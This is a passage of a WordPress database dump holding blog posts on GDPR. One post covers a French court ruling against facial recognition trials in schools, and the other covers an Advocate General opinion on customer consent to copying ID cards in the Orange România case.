(580,5,'2020-03-02 19:44:40','2020-03-02 19:44:40','<!-- wp:heading {\"level\":4} -->\n<h4><a href=\"https://ai-regulation.com/first-decision-ever-of-a-french-court-applying-gdpr-to-facial-recognition/\">FIRST EVER DECISION OF A FRENCH COURT APPLYING GDPR TO FACIAL RECOGNITION</a></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In a ruling on 27th of February, a French court canceled a decision by the South-Est Region of France (Provence-Alpes-Côte d’Azur – PACA) to undertake a series of tests using facial recognition at the entrance of two High schools considering that this would be illegal. This has been a well noticed decision  of the French Court applying the General Data Protection Regulation (GDPR) on Facial Recognition Technologies (FRTs).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A great win for « La Quadrature du Net », la Ligue des droits de l’Homme, parent association of state schools of Alpes-Maritimes et CGT Union Educ’Action of Alpes-Maritimes,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following previous recommendations by the <a href=\"https://www.cnil.fr/fr/reconnaissance-faciale-pour-un-debat-la-hauteur-des-enjeux\">CNIL</a>, the Administratif court ruled that the processing of biometric data are subject to strict conditions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The local region of  Provence-Alpes-Côte d’Azur had set a tripartite agreement for a trial with schools and Cisco International Limited  to install<br>access control, facial recognition and tracking in three high schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facial recognition data processing relate to biometrics, special category data under the General Data Protection Regulation. As such their processing is in principal prohibited. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9 lists the conditions for processing special category data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(a) Explicit consent<br>(b) Employment, social security and social protection (if authorised by law)<br>(c) Vital interests<br>(d) Not-for-profit bodies<br>(e) Made public by the data subject<br>(f) Legal claims or judicial acts<br>(g) Reasons of substantial public interest (with a basis in law)<br>(h) Health or social care (with a basis in law)<br>(i) Public health (with a basis in law)<br>(j) Archiving, research and statistics (with a basis in law)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The municipality had based its ground of processing on student\'s consents and for minors, their parents\'s consent collected on a signed form. The court objected against the legality of this project based on the imbalance of power.   </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9(2)(a) permits to process special category if:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“the data subject has given <strong>explicit consent</strong> to the processing of those personal data for one or more specified purposes”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to be valid, explicit consent must be <strong>freely given, specific, affirmative (opt-in) and unambiguous</strong>, and able to be withdrawn at any time. In practice, the extra requirements for consent to be ‘explicit’ are likely to be:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>explicit consent must be confirmed in a clear statement (whether oral or written), rather than by any other type of affirmative action;</li><li>it must specify the nature of the special category data; and</li><li>it should be separate from any other consents.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>It must be made sure that a <strong>genuine choice</strong> over whether and how you use their data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In particular, if consent is required as a condition of  access to services, or wherever there is a position of power over the individual,  such as a public authority or their employer, consent cannot be freely given and deemed to be invalid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context of a consent required by a local authority from students, without allowing any alternative, knowing the imbalance of power, it is with no surprise that the Administratif court has invalidated the facial recognition monitoring in school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is unreasonable to believe ALL students, present and future, would freely consent to have their biometrics processed, without alternative. Additionally, are concerned all staff and visitors, including minors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Convinced by the imbalance of powers, the Court then argued the lack of proportionality, ruling the security aim could be reached in a less intrusive manner with student badges. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the <a href=\"https://www.bfmtv.com/tech/reconnaissance-faciale-dans-les-lycees-un-dispositif-juge-disproportionne-1795950.html\">CNIL</a> opinion, the court ruled that facial recognition is a disproportionate measure to manage the access to school, especially since alternative measures could reach the same result in a less intrusive manner. Student badges. are much less detrimental to rights exist to do this. On this subject,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another case will be heard on Monday, March 2, 2020 at the Marseille administrative court. An appeal filed with the Ligue des Droits Humains against automated video surveillance (which identifies among other things \"suspicious behavior\" of  individuals on the public highway.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have warned previously against <a href=\"https://datarainbow.eu/2020/01/17/facial-recognition-technologies/\">the issue of biometrics data processing in surveillance </a>and the inherent security issues of a <a href=\"https://edition.cnn.com/2020/02/10/tech/clearview-ai-ceo-hoan-ton-that/index.html\">data thirsty technology</a>. Every data base creates risks of data leak. Clearview data base has since revealed a major leak.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.bloomberglaw.com/privacy-and-data-security/clearview-ai-faces-california-illinois-lawsuit-after-breach\">Clearview AI Faces California, Illinois Lawsuit After Breach (1).</a> The question will remain how to monetise the compensation resulting from the harm caused by the loss of control over something as unique as biometrics. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'Clearview AI, a&nbsp;<a href=\"https://www.cnet.com/news/clearview-app-lets-strangers-find-your-name-info-with-snap-of-a-photo-report-says/\">controversial facial recognition app</a>&nbsp;being used by US law enforcement to identify suspects and other people, is facing&nbsp;<a href=\"https://www.cnet.com/news/clearview-ai-faces-lawsuit-following-facial-recognition-privacy-concerns/\">another lawsuit</a>. The new suit, filed Thursday, seeks class-action status and $5 million in damages for what it calls&nbsp;<a rel=\"noreferrer noopener\" href=\"https://twitter.com/RMac18/status/1228097214578225153\" target=\"_blank\">willful, reckless or negligent violations of biometrics laws in Illinois by Clearview</a>&nbsp;and CDW.\'  in <a href=\"https://www.cnet.com/news/clearview-ai-facial-recognition-company-faces-another-lawsuit/\">CNET</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'<em>New York facial recognition startup&nbsp;</em><a href=\"https://clearview.ai/\"><em>Clearview AI</em></a><em>&nbsp;– which has amassed a huge database of more than three billion images scraped from employment sites, news sites, educational sites, and social networks including Facebook, YouTube, Twitter, Instagram and Venmo – is being sued in a potential class action lawsuit that claims the company gobbled up photos out of “pure greed” to sell to law enforcement.</em>\' writes <a href=\"https://nakedsecurity.sophos.com/2020/01/28/facial-recognition-firm-sued-for-scraping-3-billion-faceprints/\">Lisa Vaas in Naked Security</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://theconversation.com/facial-recognition-is-spreading-faster-than-you-realise-132047\">Facial recognition is spreading faster than you&nbsp;realise.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:core-embed/wordpress {\"url\":\"https:\\/\\/algorithmwatch.org\\/en\\/story\\/face-recognition-police-europe\\/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"algorithmwatch\",\"className\":\"\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-algorithmwatch\"><div class=\"wp-block-embed__wrapper\">\nhttps://algorithmwatch.org/en/story/face-recognition-police-europe/\n</div></figure>\n<!-- /wp:core-embed/wordpress -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:core-embed/wordpress {\"url\":\"https:\\/\\/www.neweurope.eu\\/article\\/facial-recognition-technology-breaches-gdpr-says-vestager\\/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"new-europe\",\"className\":\"\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-new-europe\"><div class=\"wp-block-embed__wrapper\">\nhttps://www.neweurope.eu/article/facial-recognition-technology-breaches-gdpr-says-vestager/\n</div></figure>\n<!-- /wp:core-embed/wordpress -->\n\n<!-- wp:paragraph -->\n<p>Anna Merlon writes \'<a href=\"https://www.vice.com/en_us/article/5dmkyq/heres-the-file-clearview-ai-has-been-keeping-on-me-and-probably-on-you-too\">Here’s the File Clearview AI Has Been Keeping on Me, and Probably on You Too\'.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is 81% inaccurate and could be illegal.\" -<a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\"> Sky News</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Concerning the processing of biometrics, Susan Brown, Executive Chairwoman and Founder of Zortrex wrote : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Time to wake up!  Data Pipeline - Personalisation Marketing/advertising - taking our identities, the bad actors see this open air gap and taking over the data output and input. Biometrics is not security, your actually giving away your DNA!  If <a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23governments&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\">governments&nbsp;</a><a href=\"https://www.linkedin.com/feed/hashtag/?highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6640226290303676416&amp;keywords=%23companies&amp;originTrackingId=re8h7SAhroyJ%2BQeMNl7%2BGw%3D%3D\">companies</a> do not start securing identities now, going to be disastrous.  You cannot replace your DNA or your Identity. Every day, mass surveillance, greed, humans are the product, if we do not start securing the future children now and their education and their financial banking, their medical history then everyone may just give up while the world comes to an end. \"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, the UK ICO in his guidance give an example :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>A gym introduces a facial recognition system to allow members access to the facilities. It requires all members to agree to facial recognition as a condition of entry – there is no other way to access the gym. This is not valid consent as the members are not being given a real choice – if they do not consent, they cannot access the gym. Although facial recognition might have some security and convenience benefits, it is not objectively necessary in order to provide access to gym facilities, so consent is not freely given.</p><p>However, if the gym provides an alternative, such as a choice between access via facial recognition and access via a membership card, consent could be considered freely given. The gym could rely on explicit consent for processing the biometric facial scans of the members who indicate that they prefer that option.</p><cite><br></cite></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Despite that, <a href=\"https://ipvm.com/reports/ico-conference\">UK ICO Approves Unconsented Facial Recognition At Security Conferences</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.sky.com/story/damning-report-on-police-use-of-facial-recognition-11756793\">The first ever independent evaluation into the Metropolitan Police\'s use of facial recognition technology suggests it is not accurate, and could be illegal.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onezero.medium.com/this-filter-makes-your-photos-invisible-to-facial-recognition-a26929b5ccf\">This Filter Makes Your Photos Invisible to Facial Recognition.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The European regulatory corpus applicable to facial recognition is composed of:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>2012: Working Party 29,&nbsp;<strong><a href=\"https://ec.europa.eu/justice/article-29/documentation/opinion-recommendation/files/2012/wp193_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Opinion 3/2012 on developments in biometric technologies</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016L0680&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Directive 2016/680 Data Protection Law Enforcement Directive</a></strong></li><li>2016:&nbsp;<strong><a href=\"https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&amp;from=FR\" target=\"_blank\" rel=\"noreferrer noopener\">Regulation 2016/679 General Data Protection Regulation (GDPR)</a></strong></li><li>2019: EU Agency for Fundamental Rights (FRA),&nbsp;<strong><a href=\"https://fra.europa.eu/sites/default/files/fra_uploads/fra-2019-facial-recognition-technology-focus-paper-1_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Facial Recognition Technology : fundamental rights considerations in the context of law enforcement</a></strong>.</li><li>2020: European Commission (EC),&nbsp;<strong><a href=\"https://ec.europa.eu/info/sites/info/files/commission-white-paper-artificial-intelligence-feb2020_en.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">White Paper on AI</a></strong></li></ul>\n<!-- /wp:list -->','Court said NO to Facial Recognition Technology','','inherit','closed','closed','','564-revision-v1','','','2020-03-02 19:44:40','2020-03-02 19:44:40','',564,'https://datarainbow.eu/2020/03/02/564-revision-v1/',0,'revision','',0),(582,5,'2020-03-03 14:26:33','2020-03-03 14:26:33','by Tara Taubman-Bassirian','Screenshot 2020-03-03 at 14.23.59','by Tara Taubman-Bassirian','inherit','closed','closed','','screenshot-2020-03-03-at-14-23-59','','','2020-03-03 14:27:38','2020-03-03 14:27:38','',564,'/wp-content/uploads/sites/3/2020/03/Screenshot-2020-03-03-at-14.23.59.png',0,'attachment','image/png',0),(583,5,'2020-03-04 20:37:02','2020-03-04 20:37:02','<!-- wp:heading {\"level\":3} -->\n<h3>Proportionality and Data Minimisation are Key to GDPR</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Nevertheless, it is a life saver. By collecting less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally keeping data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the <a href=\"https://datarainbow.eu/2020/03/02/court-said-no-to-facial-recognition-technology/\">French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools.</a> Based on the imbalance of power and the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wherever the same result can be achieved in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article&nbsp;8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M.&nbsp;MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of ID cards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ given by a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article&nbsp;4(11) of Regulation (EU) 2016/679,&nbsp;for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;&nbsp;The Article&nbsp;6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p><p>(a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p><p>(b)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<em>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract’</em>.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;7(1) of the same regulation states that ‘<em>where processing is based on consent, the controller shall be able to demonstrate that the data subject has consented to processing of his or her personal data</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The facts of the case were as follows :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Romanian National Authority for the Supervision of the Processing of Personal Data, ‘the ANSPDCP’ had issued a report which included the imposition of an administrative penalty on Orange România on the ground that copies of the identity documents of its customers had been taken and kept without their express consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Orange România had concluded contracts for the provision of mobile telecommunication services with customers requiring copies of their identity documents. In order to do so, customers were required to sign a document declaring they had been informed of and had consented to the collection and storage of a copy of their ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The existence of the customers’ consent had been established by the insertion of crosses in boxes in the written documentation evidencing the contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Court is called upon to specify the conditions under which consent to the processing of personal data may be considered valid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The decision of the national DPA imposing a fine on Orange Româniawas was adopted prior to the GDPR. However, it required as well to destroy the copies of the identity documents previously collected. This injunction having effect for the future, the regulation appeared to be applicable in so far&nbsp;<em>ratione temporis</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to demonstrate consent on an informed choice on the collection and storage of IDs, customers were asked to tick a box. Is this sufficient to constitute a ‘specific and informed’ and ‘freely expressed’ consent within the meaning of Article&nbsp;2(h) of Directive 95/46 and Article 4(11) of Regulation 2016/679, to that undertaking when he or she needs to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and conservation of his or her ID documents ?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article&nbsp;6(1)(a) of the directive provides that personal data must be processed <strong>fairly and lawfully</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Directive 95/46, Article&nbsp;2(h), consent is defined as any <strong>freely given specific and informed</strong> indication of his or her wishes by which the data subject signifies his or her agreement to personal data relating to him or her being processed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Under the Regulation 2016/679, Article&nbsp;4(11), a higher standard of consent is required : consent needs to be f<strong>reely given, specific, informed and unambiguous</strong> indication of the data subject’s wishes by which he or she, by a statement or <strong>by a clear affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consent is freely given when the data subject expresses its wishes <strong>actively</strong>, rather than by passive behaviour. It should be demonstrated that the data subject had enjoyed a high degree of autonomy when choosing whether or not to give consent which for instance as previously ruled, excludes a preselected tick of a checkbox.<a>4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<em><strong>Informed consent</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Was the data subject informed of all circumstances surrounding the data processing and its consequences? The customer needed to know :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>which data are to be processed, </li><li>the duration of such processing, </li><li>in what way and for which specific purpose,</li><li>who is processing the data and whether the data are intended to be transferred to third parties,</li><li>be informed of the consequences of refusing consent: is consenting to the data processing a condition for concluding the contract or not?</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>&nbsp;Who does <strong>the burden of proof&nbsp;lie&nbsp;with&nbsp;?</strong></em>&nbsp;&nbsp;&nbsp;&nbsp;</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a>Looking at the </a>Article&nbsp;7(1) of Regulation 2016/679, the Advocate General confirms that it is for the controller to demonstrate that the data subject has consented to processing of his or her data, not only to prove that the data subject has given his or her consent, but must also prove that all the conditions for effectiveness have been met.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the burden of proof rule is not expressly laid down in the Directive 95/46 the controller has to proof ‘the data subject has&nbsp;<em>unambiguously</em>&nbsp;given his consent’.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><em>Application of the principles on this case</em></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asking customers to provide some personal data and in particular to prove their identity for the purposes of the conclusion of a contract. To require a customer to consent to the copying and storing of identity documents, however, appears to go beyond what is necessary for the performance of the contract. On the basis of the information available, it appears that the customers of Orange România do not give their free, specific and informed consent under the circumstances described by the referring court.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>There is <strong>no freely given consent</strong>. Obliging a customer to state in handwritten form that he or she does not consent to the copying and storing of his or her ID card does not permit freely given consent in the sense that the customer is put into a situation in which he or she perceptibly deviates from a regular procedure which leads to the conclusion of a contract. Following the judgment in&nbsp;<em>Planet49</em>,&nbsp;consent is to be expressed by positive opt in act.</li><li>There is <strong>no informed consent</strong>. It is not made crystal-clear to the customer that a refusal to the copying and storing of his or her ID card does&nbsp;<em>not</em>&nbsp;make the conclusion of a contract impossible. A customer does not choose in an informed manner if he or she is not aware of the consequences.</li><li>There is no indication whatsoever that Orange România has managed to demonstrate that customers consented to processing of their personal data. In this respect, an evident lack of clarity in internal procedures is surely not conducive to furnishing the proof that consent has been given by the customer. Such <strong>lack of clarity and conflicting instructions </strong>to sales personnel obviously cannot be to the detriment of the customer,&nbsp;<em>in casu</em>&nbsp;the data subject.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In conclusion, the Advocate General opinion is that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is no ‘consent’ where the customer does not indicate his or her ‘spe<strong>cific and informed’ and ‘freely given’ wishes</strong>, within the meaning of Article&nbsp;2(h) of Directive 95/46/EC of the European Parliament and of the Council of 24&nbsp;October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data and of Article&nbsp;4(11) of Regulation (EU) 2016/679 of the European Parliament and of the Council of 27&nbsp;April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation), to that undertaking </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>==&gt; No free consent when the customer is required to state, in handwriting, on an otherwise standardised contract, that he or she refuses to consent to the photocopying and storage of his or her ID documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The court was asked to answer on the validity of the consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The ECJ ruling is soon to be followed. Although the DG opinions are not binding the court tends to rely on them. What are the implications of this analysis on the absence of free, explicite and unambiguous consent when the customer actively produce copy of his or her ID ? Should this view be extended to any case where copy of ID card is requested while not strictly necessary, based on the principle of data minimisation?  Additionally, free and explicite consent requires that consent not be detrimental to the access to the service especially where data minimisation calls for minimal data collection. Could there not be  better, more appropriate, more proportionate means of ID verification? Could the customer\'s ID be verified by other means and was it necessary to retain copy of the ID card and ultimately how identifications are stored, kept secured and for how long?</p>\n<!-- /wp:paragraph -->','Consumer contracts and the validity of consent','Personal data is the hot potato. If you do\'t need it, don\'\'t collect it, don\'t keep it. Data minimisation will save you many troubles.','publish','closed','closed','','consumer-contracts-and-the-validity-of-consent','','','2020-03-06 16:04:28','2020-03-06 16:04:28','',0,'http://datarainbow.eu/?p=583',0,'post','',0),(584,5,'2020-03-04 17:42:38','2020-03-04 17:42:38','','Screenshot 2020-03-04 at 17.41.44','','inherit','closed','closed','','screenshot-2020-03-04-at-17-41-44','','','2020-03-04 17:42:38','2020-03-04 17:42:38','',583,'/wp-content/uploads/sites/3/2020/03/Screenshot-2020-03-04-at-17.41.44.png',0,'attachment','image/png',0),(585,5,'2020-03-04 17:42:47','2020-03-04 17:42:47','','Screenshot 2020-03-04 at 17.40.15','','inherit','closed','closed','','screenshot-2020-03-04-at-17-40-15','','','2020-03-04 17:42:47','2020-03-04 17:42:47','',583,'/wp-content/uploads/sites/3/2020/03/Screenshot-2020-03-04-at-17.40.15.png',0,'attachment','image/png',0),(586,5,'2020-03-04 17:44:34','2020-03-04 17:44:34','','Proportionality and Data Minimisation are Key to GDPR','','inherit','closed','closed','','583-revision-v1','','','2020-03-04 17:44:34','2020-03-04 17:44:34','',583,'https://datarainbow.eu/2020/03/04/583-revision-v1/',0,'revision','',0),(587,5,'2020-03-04 19:31:46','2020-03-04 19:31:46','<!-- wp:paragraph -->\n<p>Personal data is the hot potato.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the six principals of Data Protection is Data minimisation. It goes against the recent tide of mass collection of data. Neverthless is a life saver. By collection less, keeping accurate, safe and confidential, in an accountable manner in appropriate registers, ideally data and assets mapping, most of the hassle of compliance is resolved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little reminder of the six principals :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Lawfulness, fairness and transparency. ...</li><li>Purpose limitation. ...</li><li>Data minimisation. ...</li><li>Accuracy. ...</li><li>Storage limitation. ...</li><li>Integrity and confidentiality.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Proportionality comes as a mortar that blends it all together. We recently commented a decision by the French Administratif Court, Conseil d\'Etat, on the illegality of Live Facial Recognition technologies in schools. Based on the imbalance of power and the lack of proportionality of the loss of control caused by biometrics data collection disproportionate to the result, the court ordered the cease of the test. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If same result can be obtained in a less intrusive manner, it has to prevail.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the Charter of Fundamental Rights of the European Union, Article 8,  data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by the law. Seen in a wider context, the concept of consent allows the data subject concerned to decide for him or herself on the legitimacy of restrictions to on his or her right to the protection of personal data. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On this 4th of March, the Advocate General M. MACIEJ SZPUNAR presented its conclusions in request for a preliminary ruling from the Tribunalul Bucureşti (Regional Court, Bucharest, Romania) stems from a dispute between a provider of telecommunication services and a national data protection authority as to the obligations of the former in the context of contractual negotiations with a customer when it comes to copying and storing the copy of an ID card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Further clarifying the concept of ‘consent’ of a data subject, while addressing the question of the burden of proof as to whether or not the data subject has given consent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>What does the EU Regulation 2016/679</em> says :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pursuant to Article 4(11) of Regulation (EU) 2016/679, for the purpose of that regulation, ‘“<em>consent” of the data subject means </em><strong><em>any freely given, specific, informed and unambiguous</em></strong><em> indication of the data subject\'s wishes by which he or she, by a </em><strong><em>statement or by a clear affirmative action</em></strong><em>, signifies agreement to the processing of personal data relating to him or her</em>’.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  The Article 6(1)(a) and (b) of that regulation is worded as follows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>‘<em>Processing shall be lawful only if and to the extent that at least one of the following applies:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(a)      <em>the data subject has given consent to the processing of his or her personal data for one or more specific purposes;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(b)      <em>processing is necessary for the performance of a 